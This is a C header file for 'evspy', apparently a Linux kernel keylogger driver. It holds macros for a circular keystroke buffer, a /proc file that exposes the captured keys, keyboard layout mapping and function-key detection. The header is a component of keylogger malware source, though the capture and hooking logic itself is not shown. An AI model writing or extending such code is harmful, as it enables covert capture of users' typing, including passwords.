#include <asm/page.h>
#include <linux/input.h>
#include "maps.h"

#define EVS_NAME		"evspy"			// driver name
#define EVS_MAP			map_es			// change this to your keyboard layout
#define EVS_TROLL		1				// clear this if you're a serious guy
#define EVS_BUFSIZE		PAGE_SIZE		// size of the circular buffer (4K)
#define EVS_PROCNAME	"driver/" EVS	// virtual file within /proc

#define MIN(x, y)	(x) < (y) ? (x) : (y)

/*
 * If pointer is at the end of buffer, put it at the beginning.
 * If not, simply add 1 to it.
 */
#define evs_incp(p)		\
({		\
	if (p == &buffer[EVS_BUFSIZE-1])		\
		p = buffer;		\
	else		\
		p++;		\
 	p;		\
})

/*
 * Same as evs_incp but backwards
 */
#define evs_decp(p)		\
({		\
	if (p == buffer)		\
		p = &buffer[EVS_BUFSIZE-1];		\
	else		\
		p--;		\
 	p;		\
})

/*
 * Insert character c where wrp is pointing and move it to the next char.
 * If rdp == wrp, increase rdp too.
 */
#define evs_insert(c)		\
({		\
	*wrp = c;		\
	if (evs_incp(wrp) == rdp)		\
		evs_incp(rdp);		\
})

/*
 * Remove a character from the buffer
 */
#define evs_delete()		\
({		\
	if (wrp != rdp && evs_decp(wrp) == rdp)		\
		evs_decp(rdp);		\
})

/*
 * Is the c event code associated to any of the FX buttons?
 */
#define evs_isfX(c)		\
({		\
	(c >= KEY_F1 && c <= KEY_F10) ||		\
	(c == KEY_F11 || c == KEY_F12) ||		\
	(c >= KEY_F13 && c <= KEY_F24);		\
})

// Event values
#define	EVS_VAL_FREE		0
#define	EVS_VAL_PRESS		1
#define	EVS_VAL_HOLD		2